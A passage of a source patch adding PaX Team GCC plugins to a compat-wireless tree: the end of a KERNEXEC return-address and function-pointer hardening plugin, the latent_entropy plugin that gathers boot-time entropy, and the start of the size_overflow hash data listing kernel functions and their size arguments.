basic_block bb; ++ ++ // 1. loop through BBs and GIMPLE statements ++ FOR_EACH_BB(bb) { ++ gimple_stmt_iterator gsi; ++ ++ for (gsi = gsi_start_bb(bb); !gsi_end_p(gsi); gsi_next(&gsi)) { ++ // gimple match: h_1 = get_fptr (); D.2709_3 = h_1 (x_2(D)); ++ tree fn; ++ gimple call_stmt; ++ ++ // is it a call ... ++ call_stmt = gsi_stmt(gsi); ++ if (!is_gimple_call(call_stmt)) ++ continue; ++ fn = gimple_call_fn(call_stmt); ++ if (TREE_CODE(fn) == ADDR_EXPR) ++ continue; ++ if (TREE_CODE(fn) != SSA_NAME) ++ gcc_unreachable(); ++ ++ // ... through a function pointer ++ fn = SSA_NAME_VAR(fn); ++ if (TREE_CODE(fn) != VAR_DECL && TREE_CODE(fn) != PARM_DECL) ++ continue; ++ fn = TREE_TYPE(fn); ++ if (TREE_CODE(fn) != POINTER_TYPE) ++ continue; ++ fn = TREE_TYPE(fn); ++ if (TREE_CODE(fn) != FUNCTION_TYPE) ++ continue; ++ ++ kernexec_instrument_fptr(&gsi); ++ ++//debug_tree(gimple_call_fn(call_stmt)); ++//print_gimple_stmt(stderr, call_stmt, 0, TDF_LINENO); ++ } ++ } ++ ++ return 0; ++} ++ ++// add special KERNEXEC instrumentation: btsq $63,(%rsp) just before retn ++static void kernexec_instrument_retaddr_bts(rtx insn) ++{ ++ rtx btsq; ++ rtvec argvec, constraintvec, labelvec; ++ int line; ++ ++ // create asm volatile("btsq $63,(%%rsp)":::) ++ argvec = rtvec_alloc(0); ++ constraintvec = rtvec_alloc(0); ++ labelvec = rtvec_alloc(0); ++ line = expand_location(RTL_LOCATION(insn)).line; ++ btsq = gen_rtx_ASM_OPERANDS(VOIDmode, "btsq $63,(%%rsp)", empty_string, 0, argvec, constraintvec, labelvec, line); ++ MEM_VOLATILE_P(btsq) = 1; ++// RTX_FRAME_RELATED_P(btsq) = 1; // not for ASM_OPERANDS ++ emit_insn_before(btsq, insn); ++} ++ ++// add special KERNEXEC instrumentation: orq %r10,(%rsp) just before retn ++static void kernexec_instrument_retaddr_or(rtx insn) ++{ ++ rtx orq; ++ rtvec argvec, constraintvec, labelvec; ++ int line; ++ ++ // create asm volatile("orq %%r10,(%%rsp)":::) ++ argvec = rtvec_alloc(0); ++ constraintvec = rtvec_alloc(0); ++ labelvec = rtvec_alloc(0); ++ line = expand_location(RTL_LOCATION(insn)).line; ++ orq = gen_rtx_ASM_OPERANDS(VOIDmode, "orq %%r10,(%%rsp)", empty_string, 0, argvec, constraintvec, labelvec, line); ++ MEM_VOLATILE_P(orq) = 1; ++// RTX_FRAME_RELATED_P(orq) = 1; // not for ASM_OPERANDS ++ emit_insn_before(orq, insn); ++} ++ ++/* ++ * find all asm level function returns and forcibly set the highest bit of the return address ++ */ ++static unsigned int execute_kernexec_retaddr(void) ++{ ++ rtx insn; ++ ++ // 1. find function returns ++ for (insn = get_insns(); insn; insn = NEXT_INSN(insn)) { ++ // rtl match: (jump_insn 41 40 42 2 (return) fptr.c:42 634 {return_internal} (nil)) ++ // (jump_insn 12 9 11 2 (parallel [ (return) (unspec [ (0) ] UNSPEC_REP) ]) fptr.c:46 635 {return_internal_long} (nil)) ++ rtx body; ++ ++ // is it a retn ++ if (!JUMP_P(insn)) ++ continue; ++ body = PATTERN(insn); ++ if (GET_CODE(body) == PARALLEL) ++ body = XVECEXP(body, 0, 0); ++ if (GET_CODE(body) != RETURN) ++ continue; ++ kernexec_instrument_retaddr(insn); ++ } ++ ++// print_simple_rtl(stderr, get_insns()); ++// print_rtl(stderr, get_insns()); ++ ++ return 0; ++} ++ ++int plugin_init(struct plugin_name_args *plugin_info, struct plugin_gcc_version *version) ++{ ++ const char * const plugin_name = plugin_info->base_name; ++ const int argc = plugin_info->argc; ++ const struct plugin_argument * const argv = plugin_info->argv; ++ int i; ++ struct register_pass_info kernexec_reload_pass_info = { ++ .pass = &kernexec_reload_pass.pass, ++ .reference_pass_name = "ssa", ++ .ref_pass_instance_number = 1, ++ .pos_op = PASS_POS_INSERT_AFTER ++ }; ++ struct register_pass_info kernexec_fptr_pass_info = { ++ .pass = &kernexec_fptr_pass.pass, ++ .reference_pass_name = "ssa", ++ .ref_pass_instance_number = 1, ++ .pos_op = PASS_POS_INSERT_AFTER ++ }; ++ struct register_pass_info kernexec_retaddr_pass_info = { ++ .pass = &kernexec_retaddr_pass.pass, ++ .reference_pass_name = "pro_and_epilogue", ++ .ref_pass_instance_number = 1, ++ .pos_op = PASS_POS_INSERT_AFTER ++ }; ++ ++ if (!plugin_default_version_check(version, &gcc_version)) { ++ error(G_("incompatible gcc/plugin versions")); ++ return 1; ++ } ++ ++ register_callback(plugin_name, PLUGIN_INFO, NULL, &kernexec_plugin_info); ++ ++ if (TARGET_64BIT == 0) ++ return 0; ++ ++ for (i = 0; i < argc; ++i) { ++ if (!strcmp(argv[i].key, "method")) { ++ if (!argv[i].value) { ++ error(G_("no value supplied for option '-fplugin-arg-%s-%s'"), plugin_name, argv[i].key); ++ continue; ++ } ++ if (!strcmp(argv[i].value, "bts")) { ++ kernexec_instrument_fptr = kernexec_instrument_fptr_bts; ++ kernexec_instrument_retaddr = kernexec_instrument_retaddr_bts; ++ } else if (!strcmp(argv[i].value, "or")) { ++ kernexec_instrument_fptr = kernexec_instrument_fptr_or; ++ kernexec_instrument_retaddr = kernexec_instrument_retaddr_or; ++ fix_register("r10", 1, 1); ++ } else ++ error(G_("invalid option argument '-fplugin-arg-%s-%s=%s'"), plugin_name, argv[i].key, argv[i].value); ++ continue; ++ } ++ error(G_("unkown option '-fplugin-arg-%s-%s'"), plugin_name, argv[i].key); ++ } ++ if (!kernexec_instrument_fptr || !kernexec_instrument_retaddr) ++ error(G_("no instrumentation method was selected via '-fplugin-arg-%s-method'"), plugin_name); ++ ++ if (kernexec_instrument_fptr == kernexec_instrument_fptr_or) ++ register_callback(plugin_name, PLUGIN_PASS_MANAGER_SETUP, NULL, &kernexec_reload_pass_info); ++ register_callback(plugin_name, PLUGIN_PASS_MANAGER_SETUP, NULL, &kernexec_fptr_pass_info); ++ register_callback(plugin_name, PLUGIN_PASS_MANAGER_SETUP, NULL, &kernexec_retaddr_pass_info); ++ ++ return 0; ++} +diff -rupN compat-wireless-3.5.4-1-snpc/tools/gcc/latent_entropy_plugin.c compat-wireless-3.5.4-1-snpc/tools/gcc/latent_entropy_plugin.c +--- compat-wireless-3.5.4-1-snpc/tools/gcc/latent_entropy_plugin.c 1970-01-01 00:00:00.000000000 +0000 ++++ compat-wireless-3.5.4-1-snpc/tools/gcc/latent_entropy_plugin.c 2012-10-15 19:11:12.866824568 +0000 +@@ -0,0 +1,295 @@ ++/* ++ * Copyright 2012 by the PaX Team ++ * Licensed under the GPL v2 ++ * ++ * Note: the choice of the license means that the compilation process is ++ * NOT 'eligible' as defined by gcc's library exception to the GPL v3, ++ * but for the kernel it doesn't matter since it doesn't link against ++ * any of the gcc libraries ++ * ++ * gcc plugin to help generate a little bit of entropy from program state, ++ * used during boot in the kernel ++ * ++ * TODO: ++ * - add ipa pass to identify not explicitly marked candidate functions ++ * - mix in more program state (function arguments/return values, loop variables, etc) ++ * - more instrumentation control via attribute parameters ++ * ++ * BUGS: ++ * - LTO needs -flto-partition=none for now ++ */ ++#include "gcc-plugin.h" ++#include "config.h" ++#include "system.h" ++#include "coretypes.h" ++#include "tree.h" ++#include "tree-pass.h" ++#include "flags.h" ++#include "intl.h" ++#include "toplev.h" ++#include "plugin.h" ++//#include "expr.h" where are you... ++#include "diagnostic.h" ++#include "plugin-version.h" ++#include "tm.h" ++#include "function.h" ++#include "basic-block.h" ++#include "gimple.h" ++#include "rtl.h" ++#include "emit-rtl.h" ++#include "tree-flow.h" ++ ++int plugin_is_GPL_compatible; ++ ++static tree latent_entropy_decl; ++ ++static struct plugin_info latent_entropy_plugin_info = { ++ .version = "201207271820", ++ .help = NULL ++}; ++ ++static unsigned int execute_latent_entropy(void); ++static bool gate_latent_entropy(void); ++ ++static struct gimple_opt_pass latent_entropy_pass = { ++ .pass = { ++ .type = GIMPLE_PASS, ++ .name = "latent_entropy", ++ .gate = gate_latent_entropy, ++ .execute = execute_latent_entropy, ++ .sub = NULL, ++ .next = NULL, ++ .static_pass_number = 0, ++ .tv_id = TV_NONE, ++ .properties_required = PROP_gimple_leh | PROP_cfg, ++ .properties_provided = 0, ++ .properties_destroyed = 0, ++ .todo_flags_start = 0, //TODO_verify_ssa | TODO_verify_flow | TODO_verify_stmts, ++ .todo_flags_finish = TODO_verify_ssa | TODO_verify_stmts | TODO_dump_func | TODO_update_ssa ++ } ++}; ++ ++static tree handle_latent_entropy_attribute(tree *node, tree name, tree args, int flags, bool *no_add_attrs) ++{ ++ if (TREE_CODE(*node) != FUNCTION_DECL) { ++ *no_add_attrs = true; ++ error("%qE attribute only applies to functions", name); ++ } ++ return NULL_TREE; ++} ++ ++static struct attribute_spec latent_entropy_attr = { ++ .name = "latent_entropy", ++ .min_length = 0, ++ .max_length = 0, ++ .decl_required = true, ++ .type_required = false, ++ .function_type_required = false, ++ .handler = handle_latent_entropy_attribute, ++#if BUILDING_GCC_VERSION >= 4007 ++ .affects_type_identity = false ++#endif ++}; ++ ++static void register_attributes(void *event_data, void *data) ++{ ++ register_attribute(&latent_entropy_attr); ++} ++ ++static bool gate_latent_entropy(void) ++{ ++ tree latent_entropy_attr; ++ ++ latent_entropy_attr = lookup_attribute("latent_entropy", DECL_ATTRIBUTES(current_function_decl)); ++ return latent_entropy_attr != NULL_TREE; ++} ++ ++static unsigned HOST_WIDE_INT seed; ++static unsigned HOST_WIDE_INT get_random_const(void) ++{ ++ seed = (seed >> 1U) ^ (-(seed & 1ULL) & 0xD800000000000000ULL); ++ return seed; ++} ++ ++static enum tree_code get_op(tree *rhs) ++{ ++ static enum tree_code op; ++ unsigned HOST_WIDE_INT random_const; ++ ++ random_const = get_random_const(); ++ ++ switch (op) { ++ case BIT_XOR_EXPR: ++ op = PLUS_EXPR; ++ break; ++ ++ case PLUS_EXPR: ++ if (rhs) { ++ op = LROTATE_EXPR; ++ random_const &= HOST_BITS_PER_WIDE_INT - 1; ++ break; ++ } ++ ++ case LROTATE_EXPR: ++ default: ++ op = BIT_XOR_EXPR; ++ break; ++ } ++ if (rhs) ++ *rhs = build_int_cstu(unsigned_intDI_type_node, random_const); ++ return op; ++} ++ ++static void perturb_local_entropy(basic_block bb, tree local_entropy) ++{ ++ gimple_stmt_iterator gsi; ++ gimple assign; ++ tree addxorrol, rhs; ++ enum tree_code op; ++ ++ op = get_op(&rhs); ++ addxorrol = fold_build2_loc(UNKNOWN_LOCATION, op, unsigned_intDI_type_node, local_entropy, rhs); ++ assign = gimple_build_assign(local_entropy, addxorrol); ++ find_referenced_vars_in(assign); ++//debug_bb(bb); ++ gsi = gsi_after_labels(bb); ++ gsi_insert_before(&gsi, assign, GSI_NEW_STMT); ++ update_stmt(assign); ++} ++ ++static void perturb_latent_entropy(basic_block bb, tree rhs) ++{ ++ gimple_stmt_iterator gsi; ++ gimple assign; ++ tree addxorrol, temp; ++ ++ // 1. create temporary copy of latent_entropy ++ temp = create_tmp_var(unsigned_intDI_type_node, "temp_latent_entropy"); ++ add_referenced_var(temp); ++ mark_sym_for_renaming(temp); ++ ++ // 2. read... ++ assign = gimple_build_assign(temp, latent_entropy_decl); ++ find_referenced_vars_in(assign); ++ gsi = gsi_after_labels(bb); ++ gsi_insert_after(&gsi, assign, GSI_NEW_STMT); ++ update_stmt(assign); ++ ++ // 3. ...modify... ++ addxorrol = fold_build2_loc(UNKNOWN_LOCATION, get_op(NULL), unsigned_intDI_type_node, temp, rhs); ++ assign = gimple_build_assign(temp, addxorrol); ++ find_referenced_vars_in(assign); ++ gsi_insert_after(&gsi, assign, GSI_NEW_STMT); ++ update_stmt(assign); ++ ++ // 4. ...write latent_entropy ++ assign = gimple_build_assign(latent_entropy_decl, temp); ++ find_referenced_vars_in(assign); ++ gsi_insert_after(&gsi, assign, GSI_NEW_STMT); ++ update_stmt(assign); ++} ++ ++static unsigned int execute_latent_entropy(void) ++{ ++ basic_block bb; ++ gimple assign; ++ gimple_stmt_iterator gsi; ++ tree local_entropy; ++ ++ if (!latent_entropy_decl) { ++ struct varpool_node *node; ++ ++ for (node = varpool_nodes; node; node = node->next) { ++ tree var = node->decl; ++ if (strcmp(IDENTIFIER_POINTER(DECL_NAME(var)), "latent_entropy")) ++ continue; ++ latent_entropy_decl = var; ++// debug_tree(var); ++ break; ++ } ++ if (!latent_entropy_decl) { ++// debug_tree(current_function_decl); ++ return 0; ++ } ++ } ++ ++//fprintf(stderr, "latent_entropy: %s\n", IDENTIFIER_POINTER(DECL_NAME(current_function_decl))); ++ ++ // 1. create local entropy variable ++ local_entropy = create_tmp_var(unsigned_intDI_type_node, "local_entropy"); ++ add_referenced_var(local_entropy); ++ mark_sym_for_renaming(local_entropy); ++ ++ // 2. initialize local entropy variable ++ bb = split_block_after_labels(ENTRY_BLOCK_PTR)->dest; ++ if (dom_info_available_p(CDI_DOMINATORS)) ++ set_immediate_dominator(CDI_DOMINATORS, bb, ENTRY_BLOCK_PTR); ++ gsi = gsi_start_bb(bb); ++ ++ assign = gimple_build_assign(local_entropy, build_int_cstu(unsigned_intDI_type_node, get_random_const())); ++// gimple_set_location(assign, loc); ++ find_referenced_vars_in(assign); ++ gsi_insert_after(&gsi, assign, GSI_NEW_STMT); ++ update_stmt(assign); ++ bb = bb->next_bb; ++ ++ // 3. instrument each BB with an operation on the local entropy variable ++ while (bb != EXIT_BLOCK_PTR) { ++ perturb_local_entropy(bb, local_entropy); ++ bb = bb->next_bb; ++ }; ++ ++ // 4. mix local entropy into the global entropy variable ++ perturb_latent_entropy(EXIT_BLOCK_PTR->prev_bb, local_entropy); ++ return 0; ++} ++ ++static void start_unit_callback(void *gcc_data, void *user_data) ++{ ++#if BUILDING_GCC_VERSION >= 4007 ++ seed = get_random_seed(false); ++#else ++ sscanf(get_random_seed(false), "%" HOST_WIDE_INT_PRINT "x", &seed); ++ seed *= seed; ++#endif ++ ++ if (in_lto_p) ++ return; ++ ++ // extern u64 latent_entropy ++ latent_entropy_decl = build_decl(UNKNOWN_LOCATION, VAR_DECL, get_identifier("latent_entropy"), unsigned_intDI_type_node); ++ ++ TREE_STATIC(latent_entropy_decl) = 1; ++ TREE_PUBLIC(latent_entropy_decl) = 1; ++ TREE_USED(latent_entropy_decl) = 1; ++ TREE_THIS_VOLATILE(latent_entropy_decl) = 1; ++ DECL_EXTERNAL(latent_entropy_decl) = 1; ++ DECL_ARTIFICIAL(latent_entropy_decl) = 0; ++ DECL_INITIAL(latent_entropy_decl) = NULL; ++// DECL_ASSEMBLER_NAME(latent_entropy_decl); ++// varpool_finalize_decl(latent_entropy_decl); ++// varpool_mark_needed_node(latent_entropy_decl); ++} ++ ++int plugin_init(struct plugin_name_args *plugin_info, struct plugin_gcc_version *version) ++{ ++ const char * const plugin_name = plugin_info->base_name; ++ struct register_pass_info latent_entropy_pass_info = { ++ .pass = &latent_entropy_pass.pass, ++ .reference_pass_name = "optimized", ++ .ref_pass_instance_number = 1, ++ .pos_op = PASS_POS_INSERT_BEFORE ++ }; ++ ++ if (!plugin_default_version_check(version, &gcc_version)) { ++ error(G_("incompatible gcc/plugin versions")); ++ return 1; ++ } ++ ++ register_callback(plugin_name, PLUGIN_INFO, NULL, &latent_entropy_plugin_info); ++ register_callback ("start_unit", PLUGIN_START_UNIT, &start_unit_callback, NULL); ++ register_callback(plugin_name, PLUGIN_PASS_MANAGER_SETUP, NULL, &latent_entropy_pass_info); ++ register_callback(plugin_name, PLUGIN_ATTRIBUTES, register_attributes, NULL); ++ ++ return 0; ++} +diff -rupN compat-wireless-3.5.4-1-snpc/tools/gcc/size_overflow_hash.data compat-wireless-3.5.4-1-snpc/tools/gcc/size_overflow_hash.data +--- compat-wireless-3.5.4-1-snpc/tools/gcc/size_overflow_hash.data 1970-01-01 00:00:00.000000000 +0000 ++++ compat-wireless-3.5.4-1-snpc/tools/gcc/size_overflow_hash.data 2012-10-15 19:11:12.872824568 +0000 +@@ -0,0 +1,3633 @@ ++_000001_hash alloc_dr 2 65495 _000001_hash NULL ++_000002_hash __copy_from_user 3 10918 _000002_hash NULL ++_000003_hash copy_from_user 3 17559 _000003_hash NULL ++_000004_hash __copy_from_user_inatomic 3 4365 _000004_hash NULL ++_000005_hash __copy_from_user_nocache 3 39351 _000005_hash NULL ++_000006_hash __copy_to_user_inatomic 3 19214 _000006_hash NULL ++_000007_hash do_xip_mapping_read 5 60297 _000007_hash NULL ++_000008_hash hugetlbfs_read 3 11268 _000008_hash NULL ++_000009_hash kmalloc 1 60432 _002597_hash NULL nohasharray ++_000010_hash kmalloc_array 1-2 9444 _000010_hash NULL ++_000012_hash kmalloc_slab 1 11917 _000012_hash NULL ++_000013_hash kmemdup 2 64015 _000013_hash NULL ++_000014_hash __krealloc 2 14857 _000331_hash NULL nohasharray ++_000015_hash memdup_user 2 59590 _000015_hash NULL ++_000016_hash module_alloc 1 63630 _000016_hash NULL ++_000017_hash read_default_ldt 2 14302 _000017_hash NULL ++_000018_hash read_kcore 3 63488 _000018_hash NULL ++_000019_hash read_ldt 2 47570 _000019_hash NULL ++_000020_hash read_zero 3 19366 _000020_hash NULL ++_000021_hash __vmalloc_node 1 39308 _000021_hash NULL ++_000022_hash vm_map_ram 2 23078 _001054_hash NULL nohasharray ++_000023_hash aa_simple_write_to_buffer 4-3 49683 _000023_hash NULL ++_000024_hash ablkcipher_copy_iv 3 64140 _000024_hash NULL ++_000025_hash ablkcipher_next_slow 4-3 47274 _000025_hash NULL ++_000026_hash acpi_battery_write_alarm 3 1240 _000026_hash NULL ++_000027_hash acpi_os_allocate 1 14892 _000027_hash NULL ++_000028_hash acpi_system_write_wakeup_device 3 34853 _000028_hash NULL ++_000029_hash adu_write 3 30487 _000029_hash NULL ++_000030_hash aer_inject_write 3 52399 _000030_hash NULL ++_000031_hash afs_alloc_flat_call 2-3 36399 _000031_hash NULL ++_000033_hash afs_proc_cells_write 3 61139 _000033_hash NULL ++_000034_hash afs_proc_rootcell_write 3 15822 _000034_hash NULL ++_000035_hash agp_3_5_isochronous_node_enable 3 49465 _000035_hash NULL ++_000036_hash agp_alloc_page_array 1 22554 _000036_hash NULL ++_000037_hash ah_alloc_tmp 2-3 54378 _000037_hash NULL ++_000038_hash ahash_setkey_unaligned 3 33521 _000038_hash NULL ++_000039_hash alg_setkey 3 31485 _000039_hash NULL ++_000040_hash aligned_kmalloc 1 3628 _000040_hash NULL ++_000041_hash alloc_context 1 3194 _000041_hash NULL ++_000042_hash alloc_ep_req 2 54860 _000042_hash NULL ++_000043_hash alloc_fdmem 1 27083 _000043_hash NULL ++_000044_hash alloc_flex_gd 1 57259 _000044_hash NULL ++_000045_hash alloc_sglist 1-3-2 22960 _000045_hash NULL ++_000046_hash aoedev_flush 2 44398 _000046_hash NULL ++_000047_hash append_to_buffer 3 63550 _000047_hash NULL ++_000048_hash asix_read_cmd 5 13245 _000048_hash NULL ++_000049_hash asix_write_cmd 5 58192 _000049_hash NULL ++_000050_hash asn1_octets_decode 2 9991 _000050_hash NULL ++_000051_hash asn1_oid_decode 2 4999 _000051_hash NULL ++_000052_hash at76_set_card_command 4 4471 _000052_hash NULL ++_000053_hash ath6kl_add_bss_if_needed 6 24317 _000053_hash NULL ++_000054_hash ath6kl_debug_roam_tbl_event 3 5224 _000054_hash NULL ++_000055_hash ath6kl_mgmt_powersave_ap 6 13791 _000055_hash NULL ++_000056_hash ath6kl_send_go_probe_resp 3 21113 _000056_hash NULL ++_000057_hash ath6kl_set_ap_probe_resp_ies 3 50539 _000057_hash NULL ++_000058_hash ath6kl_set_assoc_req_ies 3 43185 _000058_hash NULL ++_000059_hash ath6kl_wmi_bssinfo_event_rx 3 2275 _000059_hash NULL ++_000060_hash ath6kl_wmi_send_action_cmd 7 58860 _000060_hash NULL ++_000061_hash __ath6kl_wmi_send_mgmt_cmd 7 38971 _000061_hash NULL ++_000062_hash attach_hdlc_protocol 3 19986 _000062_hash NULL ++_000063_hash audio_write 4 54261 _001597_hash NULL nohasharray ++_000064_hash audit_unpack_string 3 13748 _000064_hash NULL ++_000065_hash av7110_vbi_write 3 34384 _000065_hash NULL ++_000066_hash ax25_setsockopt 5 42740 _000066_hash NULL ++_000067_hash b43_debugfs_write 3 34838 _000067_hash NULL ++_000068_hash b43legacy_debugfs_write 3 28556 _000068_hash NULL ++_000069_hash bch_alloc 1 4593 _000069_hash NULL ++_000070_hash befs_nls2utf 3 17163 _000070_hash NULL ++_000071_hash befs_utf2nls 3 25628 _000071_hash NULL ++_000072_hash bfad_debugfs_write_regrd 3 15218 _000072_hash NULL ++_000073_hash bfad_debugfs_write_regwr 3 61841 _000073_hash NULL ++_000074_hash bio_alloc_map_data 1-2 50782 _000074_hash NULL ++_000076_hash bio_kmalloc 2 54672 _000076_hash NULL ++_000077_hash blkcipher_copy_iv 3 24075 _000077_hash NULL ++_000078_hash blkcipher_next_slow 4-3 52733 _000078_hash NULL ++_000079_hash bl_pipe_downcall 3 34264 _000079_hash NULL ++_000080_hash bnad_debugfs_write_regrd 3 6706 _000080_hash NULL ++_000081_hash bnad_debugfs_write_regwr 3 57500 _000081_hash NULL ++_000082_hash bnx2fc_cmd_mgr_alloc 2-3 24873 _000082_hash NULL ++_000084_hash bnx2_nvram_write 4-2 7790 _000084_hash NULL ++_000085_hash brcmf_sdbrcm_downloadvars 3 42064 _000085_hash NULL ++_000086_hash btmrvl_gpiogap_write 3 35053 _000086_hash NULL ++_000087_hash btmrvl_hscfgcmd_write 3 27143 _000087_hash NULL ++_000088_hash btmrvl_hscmd_write 3 27089 _000088_hash NULL ++_000089_hash btmrvl_hsmode_write 3 42252 _000089_hash NULL ++_000090_hash btmrvl_pscmd_write 3 29504 _000090_hash NULL ++_000091_hash btmrvl_psmode_write 3 3703 _000091_hash NULL ++_000092_hash btrfs_alloc_delayed_item 1 11678 _000092_hash NULL ++_000093_hash cache_do_downcall 3 6926 _000093_hash NULL ++_000094_hash cachefiles_cook_key 2 33274 _000094_hash NULL ++_000095_hash cachefiles_daemon_write 3 43535 _000095_hash NULL ++_000096_hash capi_write 3 35104 _000096_hash NULL ++_000097_hash carl9170_debugfs_write 3 50857 _000097_hash NULL ++_000098_hash cciss_allocate_sg_chain_blocks 2-3 5368 _000098_hash NULL ++_000100_hash cciss_proc_write 3 10259 _000100_hash NULL ++_000101_hash cdrom_read_cdda_old 4 27664 _000101_hash NULL ++_000102_hash ceph_alloc_page_vector 1 18710 _000102_hash NULL ++_000103_hash ceph_buffer_new 1 35974 _000103_hash NULL ++_000104_hash ceph_copy_user_to_page_vector 4-3 656 _000104_hash NULL ++_000105_hash ceph_get_direct_page_vector 2 41917 _000105_hash NULL ++_000106_hash ceph_msg_new 2 5846 _000106_hash NULL ++_000107_hash ceph_setxattr 4 18913 _000107_hash NULL ++_000108_hash cfi_read_pri 3 24366 _000108_hash NULL ++_000109_hash cgroup_write_string 5 10900 _000109_hash NULL ++_000110_hash cgroup_write_X64 5 54514 _000110_hash NULL ++_000111_hash change_xattr 5 61390 _000111_hash NULL ++_000112_hash check_load_and_stores 2 2143 _000112_hash NULL ++_000113_hash cifs_idmap_key_instantiate 3 54503 _000113_hash NULL ++_000114_hash cifs_security_flags_proc_write 3 5484 _000114_hash NULL ++_000115_hash cifs_setxattr 4 23957 _000115_hash NULL ++_000116_hash cifs_spnego_key_instantiate 3 23588 _000116_hash NULL ++_000117_hash ci_ll_write 4 3740 _000117_hash NULL ++_000118_hash cld_pipe_downcall 3 15058 _000118_hash NULL ++_000119_hash clear_refs_write 3 61904 _000119_hash NULL ++_000120_hash clusterip_proc_write 3 44729 _000120_hash NULL ++_000121_hash cm4040_write 3 58079 _000121_hash NULL ++_000122_hash cm_copy_private_data 2 3649 _000122_hash NULL ++_000123_hash cmm_write 3 2896 _000123_hash NULL ++_000124_hash cm_write 3 36858 _000124_hash NULL ++_000125_hash coda_psdev_write 3 1711 _000125_hash NULL ++_000126_hash codec_reg_read_file 3 36280 _000126_hash NULL ++_000127_hash command_file_write 3 31318 _000127_hash NULL ++_000128_hash command_write 3 58841 _000128_hash NULL ++_000129_hash comm_write 3 44537 _001532_hash NULL nohasharray ++_000130_hash concat_writev 3 21451 _000130_hash NULL ++_000131_hash copy_and_check 3 19089 _000131_hash NULL ++_000132_hash copy_from_user_toio 3 31966 _000132_hash NULL ++_000133_hash copy_items 6 50140 _000133_hash NULL ++_000134_hash copy_macs 4 45534 _000134_hash NULL ++_000135_hash __copy_to_user 3 17551 _000135_hash NULL ++_000136_hash copy_vm86_regs_from_user 3 45340 _000136_hash NULL ++_000137_hash cosa_write 3 1774 _000137_hash NULL ++_000138_hash create_entry 2 33479 _000138_hash NULL ++_000139_hash create_queues 2-3 9088 _000139_hash NULL ++_000141_hash create_xattr 5 54106 _000141_hash NULL ++_000142_hash create_xattr_datum 5 33356 _000142_hash NULL ++_000143_hash csum_partial_copy_fromiovecend 3-4 9957 _000143_hash NULL ++_000145_hash ctrl_out 3-5 8712 _000145_hash NULL ++_000147_hash cx24116_writeregN 4 41975 _000147_hash NULL ++_000148_hash cxacru_cm_get_array 4 4412 _000148_hash NULL ++_000149_hash cxgbi_alloc_big_mem 1 4707 _000149_hash NULL ++_000150_hash dac960_user_command_proc_write 3 3071 _000150_hash NULL ++_000151_hash datablob_format 2 39571 _002156_hash NULL nohasharray ++_000152_hash dccp_feat_clone_sp_val 3 11942 _000152_hash NULL ++_000153_hash dccp_setsockopt_ccid 4 30701 _000153_hash NULL ++_000154_hash dccp_setsockopt_cscov 2 37766 _000154_hash NULL ++_000155_hash dccp_setsockopt_service 4 65336 _000155_hash NULL ++_000156_hash ddb_output_write 3 31902 _000156_hash NULL ++_000157_hash ddebug_proc_write 3 18055 _000157_hash NULL ++_000158_hash dev_config 3 8506 _000158_hash NULL ++_000159_hash device_write 3 45156 _000159_hash NULL ++_000160_hash devm_kzalloc 2 4966 _000160_hash NULL ++_000161_hash devres_alloc 2 551 _000161_hash NULL ++_000162_hash dfs_file_write 3 41196 _000162_hash NULL ++_000163_hash direct_entry 3 38836 _000163_hash NULL ++_000164_hash dispatch_proc_write 3 44320 _000164_hash NULL ++_000165_hash diva_os_copy_from_user 4 7792 _000165_hash NULL ++_000166_hash dlm_alloc_pagevec 1 54296 _000166_hash NULL ++_000167_hash dlmfs_file_read 3 28385 _000167_hash NULL ++_000168_hash dlmfs_file_write 3 6892 _000168_hash NULL ++_000169_hash dm_read 3 15674 _000169_hash NULL ++_000170_hash dm_write 3 2513 _000170_hash NULL ++_000171_hash __dn_setsockopt 5 13060 _000171_hash NULL ++_000172_hash dns_query 3 9676 _000172_hash NULL ++_000173_hash dns_resolver_instantiate 3 63314 _000173_hash NULL ++_000174_hash do_add_counters 3 3992 _000174_hash NULL ++_000175_hash __do_config_autodelink 3 58763 _000175_hash NULL ++_000176_hash do_ip_setsockopt 5 41852 _000176_hash NULL ++_000177_hash do_ipv6_setsockopt 5 18215 _000177_hash NULL ++_000178_hash do_ip_vs_set_ctl 4 48641 _000178_hash NULL ++_000179_hash do_kimage_alloc 3 64827 _000179_hash NULL ++_000180_hash do_register_entry 4 29478 _000180_hash NULL ++_000181_hash do_tty_write 5 44896 _000181_hash NULL ++_000182_hash do_update_counters 4 2259 _000182_hash NULL ++_000183_hash dsp_write 2 46218 _000183_hash NULL ++_000184_hash dup_to_netobj 3 26363 _000184_hash NULL ++_000185_hash dvb_aplay 3 56296 _000185_hash NULL ++_000186_hash dvb_ca_en50221_io_write 3 43533 _000186_hash NULL ++_000187_hash dvbdmx_write 3 19423 _000187_hash NULL ++_000188_hash dvb_play 3 50814 _000188_hash NULL ++_000189_hash dw210x_op_rw 6 39915 _000189_hash NULL ++_000190_hash dwc3_link_state_write 3 12641 _000190_hash NULL ++_000191_hash dwc3_mode_write 3 51997 _000191_hash NULL ++_000192_hash dwc3_testmode_write 3 30516 _000192_hash NULL ++_000193_hash ecryptfs_copy_filename 4 11868 _000193_hash NULL ++_000194_hash ecryptfs_miscdev_write 3 26847 _000194_hash NULL ++_000195_hash ecryptfs_send_miscdev 2 64816 _000195_hash NULL ++_000196_hash efx_tsoh_heap_alloc 2 58545 _000196_hash NULL ++_000197_hash emi26_writememory 4 57908 _000197_hash NULL ++_000198_hash emi62_writememory 4 29731 _000198_hash NULL ++_000199_hash encrypted_instantiate 3 3168 _000199_hash NULL ++_000200_hash encrypted_update 3 13414 _000200_hash NULL ++_000201_hash ep0_write 3 14536 _001328_hash NULL nohasharray ++_000202_hash ep_read 3 58813 _000202_hash NULL ++_000203_hash ep_write 3 59008 _000203_hash NULL ++_000204_hash erst_dbg_write 3 46715 _000204_hash NULL ++_000205_hash esp_alloc_tmp 2-3 40558 _000205_hash NULL ++_000206_hash exofs_read_lookup_dev_table 3 17733 _000206_hash NULL ++_000207_hash ext4_kvmalloc 1 14796 _000207_hash NULL ++_000208_hash ezusb_writememory 4 45976 _000208_hash NULL ++_000209_hash fanotify_write 3 64623 _000209_hash NULL ++_000210_hash fd_copyin 3 56247 _000210_hash NULL ++_000211_hash ffs_epfile_io 3 64886 _000211_hash NULL ++_000212_hash ffs_prepare_buffer 2 59892 _000212_hash NULL ++_000213_hash f_hidg_write 3 7932 _000213_hash NULL ++_000214_hash file_read_actor 4 1401 _000214_hash NULL ++_000215_hash fill_write_buffer 3 3142 _000215_hash NULL ++_000216_hash fl_create 5 56435 _000216_hash NULL ++_000217_hash ftdi_elan_write 3 57309 _000217_hash NULL ++_000218_hash fuse_conn_limit_write 3 30777 _003837_hash NULL nohasharray ++_000219_hash 